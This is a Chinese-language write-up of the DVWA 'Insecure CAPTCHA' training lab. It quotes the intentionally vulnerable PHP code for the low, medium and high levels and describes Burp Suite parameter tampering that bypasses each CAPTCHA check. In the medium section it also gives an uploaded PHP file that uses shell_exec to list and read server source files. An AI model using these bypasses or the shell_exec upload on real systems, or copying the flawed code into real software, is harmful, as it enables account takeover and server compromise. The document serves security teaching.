Insecure CAPTCHA 意思是不安全的验证码，指验证在验证过程中，存在逻辑漏洞，导致可以绕过验证。CAPTCHA全称为：Completely Automated Public Turing Test to Tell Computers and Humans Apart (全自动区分计算机和人类的图灵测试)。
DVWA-Insecure CAPTCHA级别：
--low
--medium
--high
--impossible
在dvwa中config.inc.php默认没有配置recaptcha_public_key和recaptche_private_key 的值。导致该页面无法全部显示完全部内容。
可以通过MD5生成随机加密串：
将MD5加密的内容放到/var/www/html/config/config.inc.php 配置文件recaptcha_public_key 和recaptcha_private_key中
刷新页面：
--low级别：
服务器端代码：
<?phpif( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {// Hide the CAPTCHA form$hide_form = true;// Get input$pass_new = $_POST[ 'password_new' ];$pass_conf = $_POST[ 'password_conf' ];// Check CAPTCHA from 3rd party$resp = recaptcha_check_answer($_DVWA[ 'recaptcha_private_key'],$_POST['g-recaptcha-response']);// Did the CAPTCHA fail?if( !$resp ) {// What happens when the CAPTCHA was entered incorrectly$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";$hide_form = false;return;}else {// CAPTCHA was correct. Do both new passwords match?if( $pass_new == $pass_conf ) {// Show next stage for the userecho " <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre><form action=\"#\" method=\"POST\"><input type=\"hidden\" name=\"step\" value=\"2\" /><input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" /><input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" /><input type=\"submit\" name=\"Change\" value=\"Change\" /></form>"; }else {// Both new passwords do not match.$html .= "<pre>Both passwords must match.</pre>";$hide_form = false;}} }if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {// Hide the CAPTCHA form$hide_form = true;// Get input$pass_new = $_POST[ 'password_new' ];$pass_conf = $_POST[ 'password_conf' ];// Check to see if both password matchif( $pass_new == $pass_conf ) {// They do!$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update database$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Feedback for the end userecho "<pre>Password Changed.</pre>";}else {// Issue with the passwords matchingecho "<pre>Passwords did not match.</pre>";$hide_form = false;}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); }?>
可以看到这里将验证流程分为两个步骤，而且这两个步骤的验证过程是独立的（两个if没有包含在一起）。第1步step==1时，验证秘钥是否正确，如果秘钥正确的话，又自动发起一次请求并将参数step设置为2。第2步step==2时，验证新密码和确认密码一致时，就可以修改密码成功。
通过burp suite拦截接口，然后篡改step参数为2，看看是不是能修改密码成功
--medium级别：
服务器端代码：
<?phpif( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {// Hide the CAPTCHA form$hide_form = true;// Get input$pass_new = $_POST[ 'password_new' ];$pass_conf = $_POST[ 'password_conf' ];// Check CAPTCHA from 3rd party$resp = recaptcha_check_answer($_DVWA[ 'recaptcha_private_key' ],$_POST['g-recaptcha-response']);// Did the CAPTCHA fail?if( !$resp ) {// What happens when the CAPTCHA was entered incorrectly$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";$hide_form = false;return;}else {// CAPTCHA was correct. Do both new passwords match?if( $pass_new == $pass_conf ) {// Show next stage for the userecho " <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre><form action=\"#\" method=\"POST\"><input type=\"hidden\" name=\"step\" value=\"2\" /><input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" /><input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" /><input type=\"hidden\" name=\"passed_captcha\" value=\"true\" /><input type=\"submit\" name=\"Change\" value=\"Change\" /></form>"; }else {// Both new passwords do not match.$html .= "<pre>Both passwords must match.</pre>";$hide_form = false;}} }if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {// Hide the CAPTCHA form$hide_form = true;// Get input$pass_new = $_POST[ 'password_new' ];$pass_conf = $_POST[ 'password_conf' ];// Check to see if they did stage 1if( !$_POST[ 'passed_captcha' ] ) {$html .= "<pre><br />You have not passed the CAPTCHA.</pre>";$hide_form = false;return;}// Check to see if both password matchif( $pass_new == $pass_conf ) {// They do!$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update database$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Feedback for the end userecho "<pre>Password Changed.</pre>";}else {// Issue with the passwords matchingecho "<pre>Passwords did not match.</pre>";$hide_form = false;}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); }?>
可以看到在medium中，在第1步（step==1）时，校验密码成功后，再请求第2步（step==2）时，加入了passed_captcha参数带入值为true,代表在第1步的密码已经验证通过，再验证新密码和确认密码通过后，就可以修改密码了。
那么通过burp suite拦截接口后，将step=1，改为step=2，同时增加参数passed_captcha=true，就可以进行密码修改。
修改好参数后，在放开拦截。密码修改成功了。
因为，在修改密码的第2步时服务器端调用的，在前端抓包根本就不知道有passed_captcha这个参数和值。那要怎么办？其他结合File Upload的包含漏洞，写一个php文件去读取服务器上源文件的信息就可以了。
写一个captcha_info.php 文件，如下：
<?phpecho "<br/>captcha目录的位置：<br/>"; $find_captcha = shell_exec("find / -name captcha");echo $find_captcha;echo "<br/>captcha目录信息：<br/>";$captcha_file = shell_exec("ls $find_captcha");echo $captcha_file;echo "<br/>captcha/source目录信息：<br/>";$captcha_source = shell_exec("ls $find_captcha/source");echo $captcha_source;echo "<br/>打印captcha/source/medium.php的信息：<br/>";$captcha_content = shell_exec("cat /var/www/html/vulnerabilities/captcha/source/medium.php");echo "$captcha_content";?>
将文件上传到服务器上
在浏览器中调用../../hackable/uploads/captcha_info.php，执行结果如下：
所以说漏洞要相互利用，才能起到最大的作用。同时不要因为一个小小的漏洞而忽略掉修复，最终造成不必要的损失，老话说得好：千里之堤毁于蚁穴，就是这个道理。
--high级别：
服务器端代码：
<?phpif( isset( $_POST[ 'Change' ] ) ) {// Hide the CAPTCHA form$hide_form = true;// Get input$pass_new = $_POST[ 'password_new' ];$pass_conf = $_POST[ 'password_conf' ];// Check CAPTCHA from 3rd party$resp = recaptcha_check_answer($_DVWA[ 'recaptcha_private_key' ],$_POST['g-recaptcha-response']);if ($resp || ($_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'&& $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA')){// CAPTCHA was correct. Do both new passwords match?if ($pass_new == $pass_conf) {$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update database$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "' LIMIT 1;";$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Feedback for userecho "<pre>Password Changed.</pre>";} else {// Ops. Password mismatch$html .= "<pre>Both passwords must match.</pre>";$hide_form = false;}} else {// What happens when the CAPTCHA was entered incorrectly$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";$hide_form = false;return;}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); }// Generate Anti-CSRF token generateSessionToken();?>
在high中已经将步骤2去掉将整个验证过程合在一起，所以不能直接跳过验证步骤1的方式了。但是在修改密码有一个判断 if ($resp || ($_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'&& $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA')) 如果这个成立后，才会修改密码。$resp 是通过recaptcha_check_answe（）将用户提交的验证信息提交由reCAPTCHA进行验证，
并返回结果信息，没法绕过。但是，$resp后面判断逻辑竟然是或”||”符号，那也就是说括号里面的结果为True时，就可以执行if里面的修改密码功能。
通过burp suite拦截接口，并将请求头中的信息User-Agent改为reCAPTCHA，并将新增参数g-recaptcha-response=hidd3n_valu3。
